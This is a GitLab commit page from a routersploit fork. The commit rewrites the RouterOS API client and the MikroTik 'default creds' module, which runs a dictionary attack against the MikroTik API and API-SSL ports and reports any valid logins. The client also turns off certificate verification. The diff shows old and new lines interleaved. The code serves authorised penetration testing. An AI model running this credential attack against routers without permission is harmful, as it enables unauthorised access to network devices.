Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
92880a05
Unverified
Commit
92880a05
authored
Apr 10, 2024
by
Marcin Bury
Committed by
GitHub
Apr 10, 2024
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fix Mikrotik RouterOS API creds module (#816)
parent
ecf1b5a4
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
301 additions
and
153 deletions
+301
-153
apiros_client.py
routersploit/libs/apiros/apiros_client.py
+258
-139
api_ros_default_creds.py
...t/modules/creds/routers/mikrotik/api_ros_default_creds.py
+43
-14
No files found.
routersploit/libs/apiros/apiros_client.py
View file @
92880a05
# MIT License
# The code is taken from https://github.com/LaiArturs/RouterOS_API/
# All credits go to Arturs Laizans - https://github.com/LaiArtur
import
sys
import
sys
import
binascii
import
binascii
import
hashlib
import
hashlib
import
socket
import
ssl
TIMEOUT
=
8.0
CONTEXT
=
ssl
.
create_default_context
()
CONTEXT
.
check_hostname
=
False
CONTEXT
.
verify_mode
=
ssl
.
CERT_NONE
CONTEXT
.
set_ciphers
(
"ADH:ALL"
)
class
LoginError
(
Exception
):
pass
class
WordTooLong
(
Exception
):
pass
class
CreateSocketError
(
Exception
):
pass
class
RouterOSTrapError
(
Exception
):
pass
class
ApiRosClient
(
object
):
class
ApiRosClient
(
object
):
"RouterOS API"
"RouterOS API"
def
__init__
(
self
,
sk
):
def
__init__
(
self
,
address
,
port
,
user
,
password
,
use_ssl
=
False
,
self
.
sk
=
sk
context
=
CONTEXT
,
timeout
=
TIMEOUT
):
self
.
currenttag
=
0
self
.
address
=
address
def
login
(
self
,
username
,
pwd
):
self
.
user
=
user
for
repl
,
attrs
in
self
.
talk
([
"/login"
]):
self
.
password
=
password
chal
=
binascii
.
unhexlify
((
attrs
[
'=ret'
])
.
encode
(
'UTF-8'
))
self
.
use_ssl
=
use_ssl
md
=
hashlib
.
md5
()
self
.
port
=
port
md
.
update
(
b
'
\x00
'
)
self
.
context
=
context
md
.
update
(
pwd
.
encode
(
'UTF-8'
))
self
.
timeout
=
timeout
md
.
update
(
chal
)
output
=
self
.
talk
([
# Port setting logic
"/login"
,
if
port
:
"=name="
+
username
,
self
.
port
=
port
"=response=00"
+
binascii
.
hexlify
(
md
.
digest
())
.
decode
(
'UTF-8'
)
elif
use_ssl
:
])
self
.
port
=
SSL_PORT
return
output
def
talk
(
self
,
words
):
if
self
.
writeSentence
(
words
)
==
0
:
return
r
=
[]
while
1
:
i
=
self
.
readSentence
()
if
len
(
i
)
==
0
:
continue
reply
=
i
[
0
]
attrs
=
{}
for
w
in
i
[
1
:]:
j
=
w
.
find
(
'='
,
1
)
if
(
j
==
-
1
):
attrs
[
w
]
=
''
else
:
else
:
attrs
[
w
[:
j
]]
=
w
[
j
+
1
:]
self
.
port
=
PORT
r
.
append
((
reply
,
attrs
))
if
reply
==
'!done'
:
self
.
sock
=
None
return
r
self
.
connection
=
None
# Open socket connection with router and wrap with SSL if needed.
def
open_socket
(
self
):
for
res
in
socket
.
getaddrinfo
(
self
.
address
,
self
.
port
,
socket
.
AF_UNSPEC
,
socket
.
SOCK_STREAM
):
af
,
socktype
,
proto
,
canonname
,
sa
=
res
self
.
sock
=
socket
.
socket
(
af
,
socket
.
SOCK_STREAM
)
self
.
sock
.
settimeout
(
self
.
timeout
)
try
:
# Trying to connect to RouterOS, error can occur if IP address is not reachable, or API is blocked in
# RouterOS firewall or ip services, or port is wrong.
self
.
connection
=
self
.
sock
.
connect
(
sa
)
except
OSError
:
raise
CreateSocketError
(
'Error: API failed to connect to socket. Host: {}, port: {}.'
.
format
(
self
.
address
,
self
.
port
))
if
self
.
use_ssl
:
self
.
sock
=
self
.
context
.
wrap_socket
(
self
.
sock
)
def
login
(
self
):
def
reply_has_error
(
reply
):
# Check if reply contains login error
if
len
(
reply
[
0
])
==
2
and
reply
[
0
][
0
]
==
'!trap'
:
return
True
else
:
return
False
def
process_old_login
(
reply
):
# RouterOS uses old API login method, code continues with old method
md5
=
hashlib
.
md5
((
'
\x00
'
+
self
.
password
)
.
encode
(
'utf-8'
))
md5
.
update
(
binascii
.
unhexlify
(
reply
[
0
][
1
][
5
:]))
sentence
=
[
'/login'
,
'=name='
+
self
.
user
,
'=response=00'
+
binascii
.
hexlify
(
md5
.
digest
())
.
decode
(
'utf-8'
)]
reply
=
self
.
communicate
(
sentence
)
return
check_reply
(
reply
)
def
check_reply
(
reply
):
if
len
(
reply
[
0
])
==
1
and
reply
[
0
][
0
]
==
'!done'
:
# If login process was successful
return
reply
elif
reply_has_error
(
reply
):
raise
LoginError
(
reply
)
elif
len
(
reply
[
0
])
==
2
and
reply
[
0
][
1
][
0
:
5
]
==
'=ret='
:
return
process_old_login
(
reply
)
else
:
raise
LoginError
(
f
'Unexpected reply to login: {reply}'
)
sentence
=
[
'/login'
,
'=name='
+
self
.
user
,
'=password='
+
self
.
password
]
reply
=
self
.
communicate
(
sentence
)
return
check_reply
(
reply
)
# Sending data to router and expecting something back
def
communicate
(
self
,
sentence_to_send
):
# There is specific way of sending word length in RouterOS API.
# See RouterOS API Wiki for more info.
def
send_length
(
w
):
length_to_send
=
len
(
w
)
if
length_to_send
<
0x80
:
num_of_bytes
=
1
# For words smaller than 128
elif
length_to_send
<
0x4000
:
length_to_send
+=
0x8000
num_of_bytes
=
2
# For words smaller than 16384
elif
length_to_send
<
0x200000
:
length_to_send
+=
0xC00000
num_of_bytes
=
3
# For words smaller than 2097152
elif
length_to_send
<
0x10000000
:
length_to_send
+=
0xE0000000
num_of_bytes
=
4
# For words smaller than 268435456
elif
length_to_send
<
0x100000000
:
num_of_bytes
=
4
# For words smaller than 4294967296
self
.
sock
.
sendall
(
b
'
\xF0
'
)
else
:
raise
WordTooLong
(
'Word is too long. Max length of word is 4294967295.'
)
self
.
sock
.
sendall
(
length_to_send
.
to_bytes
(
num_of_bytes
,
byteorder
=
'big'
))
# Actually I haven't successfully sent words larger than approx. 65520.
# Probably it is some RouterOS limitation of 2^16.
# The same logic applies for receiving word length from RouterOS side.
# See RouterOS API Wiki for more info.
def
receive_length
():
r
=
self
.
sock
.
recv
(
1
)
# Receive the first byte of word length
# If the first byte of word is smaller than 80 (base 16),
# then we already received the whole length and can return it.
# Otherwise if it is larger, then word size is encoded in multiple bytes and we must receive them all to
# get the whole word size.
if
r
<
b
'
\x80
'
:
r
=
int
.
from_bytes
(
r
,
byteorder
=
'big'
)
elif
r
<
b
'
\xc0
'
:
r
+=
self
.
sock
.
recv
(
1
)
r
=
int
.
from_bytes
(
r
,
byteorder
=
'big'
)
r
-=
0x8000
elif
r
<
b
'
\xe0
'
:
r
+=
self
.
sock
.
recv
(
2
)
r
=
int
.
from_bytes
(
r
,
byteorder
=
'big'
)
r
-=
0xC00000
elif
r
<
b
'
\xf0
'
:
r
+=
self
.
sock
.
recv
(
3
)
r
=
int
.
from_bytes
(
r
,
byteorder
=
'big'
)
r
-=
0xE0000000
elif
r
==
b
'
\xf0
'
:
r
=
self
.
sock
.
recv
(
4
)
r
=
int
.
from_bytes
(
r
,
byteorder
=
'big'
)
def
writeSentence
(
self
,
words
):
ret
=
0
for
w
in
words
:
self
.
writeWord
(
w
)
ret
+=
1
self
.
writeWord
(
''
)
return
ret
def
readSentence
(
self
):
r
=
[]
while
1
:
w
=
self
.
readWord
()
if
w
==
''
:
return
r
return
r
r
.
append
(
w
)
def
read_sentence
():
def
writeWord
(
self
,
w
):
rcv_sentence
=
[]
# Words will be appended here
self
.
writeLen
(
len
(
w
))
rcv_length
=
receive_length
()
# Get the size of the word
self
.
writeStr
(
w
)
while
rcv_length
!=
0
:
def
readWord
(
self
):
received
=
b
''
ret
=
self
.
readStr
(
self
.
readLen
())
while
rcv_length
>
len
(
received
):
return
ret
rec
=
self
.
sock
.
recv
(
rcv_length
-
len
(
received
))
if
rec
==
b
''
:
def
writeLen
(
self
,
length
):
raise
RuntimeError
(
'socket connection broken'
)
if
length
<
0x80
:
received
+=
rec
self
.
writeByte
((
length
)
.
to_bytes
(
1
,
sys
.
byteorder
))
received
=
received
.
decode
(
'utf-8'
,
'backslashreplace'
)
elif
length
<
0x4000
:
rcv_sentence
.
append
(
received
)
length
|=
0x8000
rcv_length
=
receive_length
()
# Get the size of the next word
self
.
writeByte
(((
length
>>
8
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
return
rcv_sentence
self
.
writeByte
((
length
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
elif
length
<
0x200000
:
# Sending part of conversation
length
|=
0xC00000
self
.
writeByte
(((
length
>>
16
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
# Each word must be sent separately.
self
.
writeByte
(((
length
>>
8
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
# First, length of the word must be sent,
self
.
writeByte
((
length
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
# Then, the word itself.
elif
length
<
0x10000000
:
for
word
in
sentence_to_send
:
length
|=
0xE0000000
send_length
(
word
)
self
.
writeByte
(((
length
>>
24
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
self
.
sock
.
sendall
(
word
.
encode
(
'utf-8'
))
# Sending the word
self
.
writeByte
(((
length
>>
16
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
self
.
sock
.
sendall
(
b
'
\x00
'
)
# Send zero length word to mark end of the sentence
self
.
writeByte
(((
length
>>
8
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
self
.
writeByte
((
length
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
# Receiving part of the conversation
# Will continue receiving until receives '!done' or some kind of error (!trap).
# Everything will be appended to paragraph variable, and then returned.
paragraph
=
[]
received_sentence
=
[
''
]
while
received_sentence
[
0
]
!=
'!done'
:
received_sentence
=
read_sentence
()
paragraph
.
append
(
received_sentence
)
return
paragraph
# Initiate a conversation with the router
def
talk
(
self
,
message
):
# It is possible for message to be string, tuple or list containing multiple strings or tuples
if
type
(
message
)
==
str
or
type
(
message
)
==
tuple
:
return
self
.
send
(
message
)
elif
type
(
message
)
==
list
:
reply
=
[]
for
sentence
in
message
:
reply
.
append
(
self
.
send
(
sentence
))
return
reply
else
:
else
:
self
.
writeByte
((
0xF0
)
.
to_bytes
(
1
,
sys
.
byteorder
))
raise
TypeError
(
'talk() argument must be str or tuple containing str or list containing str or tuples'
)
self
.
writeByte
(((
length
>>
24
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
self
.
writeByte
(((
length
>>
16
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
def
send
(
self
,
sentence
):
self
.
writeByte
(((
length
>>
8
)
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
# If sentence is string, not tuples of strings, it must be divided in words
self
.
writeByte
((
length
&
0xFF
)
.
to_bytes
(
1
,
sys
.
byteorder
))
if
type
(
sentence
)
==
str
:
sentence
=
sentence
.
split
()
def
readLen
(
self
):
reply
=
self
.
communicate
(
sentence
)
c
=
ord
(
self
.
readStr
(
1
))
if
(
c
&
0x80
)
==
0x00
:
# If RouterOS returns error from command that was sent
if
'!trap'
in
reply
[
0
][
0
]:
# You can comment following line out if you don't want to raise an error in case of !trap
raise
RouterOSTrapError
(
"
\n
Command: {}
\n
Returned an error: {}"
.
format
(
sentence
,
reply
))
pass
pass
elif
(
c
&
0xC0
)
==
0x80
:
c
&=
~
0xC0
# reply is list containing strings with RAW output form API
c
<<=
8
# nice_reply is a list containing output form API sorted in dictionary for easier use later
c
+=
ord
(
self
.
readStr
(
1
))
nice_reply
=
[]
elif
(
c
&
0xE0
)
==
0xC0
:
for
m
in
range
(
len
(
reply
)
-
1
):
c
&=
~
0xE0
nice_reply
.
append
({})
c
<<=
8
for
k
,
v
in
(
x
[
1
:]
.
split
(
'='
,
1
)
for
x
in
reply
[
m
][
1
:]):
c
+=
ord
(
self
.
readStr
(
1
))
nice_reply
[
m
][
k
]
=
v
c
<<=
8
return
nice_reply
c
+=
ord
(
self
.
readStr
(
1
))
elif
(
c
&
0xF0
)
==
0xE0
:
def
is_alive
(
self
)
->
bool
:
c
&=
~
0xF0
"""Check if socket is alive and router responds"""
c
<<=
8
c
+=
ord
(
self
.
readStr
(
1
))
# Check if socket is open in this end
c
<<=
8
try
:
c
+=
ord
(
self
.
readStr
(
1
))
self
.
sock
.
settimeout
(
2
)
c
<<=
8
except
OSError
:
c
+=
ord
(
self
.
readStr
(
1
))
return
False
elif
(
c
&
0xF8
)
==
0xF0
:
c
=
ord
(
self
.
readStr
(
1
))
# Check if we can send and receive through socket
c
<<=
8
try
:
c
+=
ord
(
self
.
readStr
(
1
))
self
.
talk
(
'/system/identity/print'
)
c
<<=
8
c
+=
ord
(
self
.
readStr
(
1
))
except
(
socket
.
timeout
,
IndexError
,
BrokenPipeError
):
c
<<=
8
self
.
close
()
c
+=
ord
(
self
.
readStr
(
1
))
return
False
return
c
self
.
sock
.
settimeout
(
self
.
timeout
)
def
writeStr
(
self
,
str
):
return
True
n
=
0
while
n
<
len
(
str
):
def
create_connection
(
self
):
r
=
self
.
sk
.
send
(
bytes
(
str
[
n
:],
'UTF-8'
))
self
.
open_socket
()
if
r
==
0
:
self
.
login
()
raise
RuntimeError
(
"connection closed by remote end"
)
n
+=
r
def
close
(
self
):
self
.
sock
.
close
()
def
writeByte
(
self
,
str
):
n
=
0
while
n
<
len
(
str
):
r
=
self
.
sk
.
send
(
str
[
n
:])
if
r
==
0
:
raise
RuntimeError
(
"connection closed by remote end"
)
n
+=
r
def
readStr
(
self
,
length
):
ret
=
''
while
len
(
ret
)
<
length
:
s
=
self
.
sk
.
recv
(
length
-
len
(
ret
))
if
s
is
None
or
s
==
''
:
raise
RuntimeError
(
"connection closed by remote end"
)
ret
+=
s
.
decode
(
'UTF-8'
,
'replace'
)
return
ret
routersploit/modules/creds/routers/mikrotik/api_ros_default_creds.py
View file @
92880a05
import
socket
import
ssl
from
routersploit.core.exploit
import
*
from
routersploit.core.exploit
import
*
from
routersploit.core.tcp.tcp_client
import
TCPClient
from
routersploit.core.tcp.tcp_client
import
TCPClient
from
routersploit.libs.apiros.apiros_client
import
ApiRosClient
from
routersploit.libs.apiros.apiros_client
import
ApiRosClient
,
LoginError
class
Exploit
(
TCPClient
):
class
Exploit
(
TCPClient
):
__info__
=
{
__info__
=
{
"name"
:
"Mikrotik Default Creds - API ROS"
,
"name"
:
"Mikrotik Default Creds - API ROS"
,
"description"
:
""
,
"description"
:
"Module performs dictionary attack against Mikrotik API and API-SSL. "
"If valid credentials are found they are displayed to the user."
,
"authors"
:
(
"authors"
:
(
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
),
...
@@ -18,6 +22,8 @@ class Exploit(TCPClient):
...
@@ -18,6 +22,8 @@ class Exploit(TCPClient):
target
=
OptIP
(
""
,
"Target IPv4, IPv6 address or file with ip:port (file://)"
)
target
=
OptIP
(
""
,
"Target IPv4, IPv6 address or file with ip:port (file://)"
)
port
=
OptPort
(
8728
,
"Target API port"
)
port
=
OptPort
(
8728
,
"Target API port"
)
ssl
=
OptBool
(
False
,
"Use SSL for API"
)
threads
=
OptInteger
(
1
,
"Number of threads"
)
threads
=
OptInteger
(
1
,
"Number of threads"
)
defaults
=
OptWordlist
(
"admin:admin"
,
"User:Pass or file with default credentials (file://)"
)
defaults
=
OptWordlist
(
"admin:admin"
,
"User:Pass or file with default credentials (file://)"
)
stop_on_success
=
OptBool
(
True
,
"Stop on first valid authentication attempt"
)
stop_on_success
=
OptBool
(
True
,
"Stop on first valid authentication attempt"
)
...
@@ -44,30 +50,53 @@ class Exploit(TCPClient):
...
@@ -44,30 +50,53 @@ class Exploit(TCPClient):
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
creds
):
def
login
(
self
,
username
,
password
):
while
running
.
is_set
():
try
:
try
:
username
,
password
=
creds
.
next
()
.
split
(
":"
,
1
)
apiros
=
ApiRosClient
(
address
=
self
.
target
,
tcp_client
=
self
.
tcp_create
()
port
=
self
.
port
,
tcp_sock
=
tcp_client
.
connect
()
user
=
username
,
apiros
=
ApiRosClient
(
tcp_client
)
password
=
password
,
use_ssl
=
self
.
ssl
)
apiros
.
open_socket
()
output
=
apiros
.
login
(
username
,
password
)
output
=
apiros
.
login
(
)
if
output
[
0
][
0
]
==
"!done"
:
if
output
[
0
][
0
]
==
"!done"
:
if
self
.
stop_on_success
:
running
.
clear
()
print_success
(
"Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
print_success
(
"Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
apiros
.
close
()
return
True
else
:
else
:
print_error
(
"Unexpected Response - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbossity
)
except
LoginError
:
apiros
.
close
()
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
except
ssl
.
SSLError
:
apiros
.
close
()
print_error
(
"SSL Error, retrying..."
)
return
self
.
login
(
username
,
password
)
tcp_client
.
close
()
apiros
.
close
()
return
False
def
target_function
(
self
,
running
,
creds
):
while
running
.
is_set
():
username
=
""
passsword
=
""
try
:
username
,
password
=
creds
.
next
()
.
split
(
":"
,
1
)
if
self
.
login
(
username
,
password
)
and
self
.
stop_on_success
:
running
.
clear
()
except
RuntimeError
:
except
RuntimeError
:
print_error
(
"Connection closed by remote end"
)
print_error
(
"Connection closed by remote end"
)
break
except
socket
.
timeout
:
print_error
(
"Timeout waiting for the response"
)
break
except
StopIteration
:
except
StopIteration
:
break
break
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment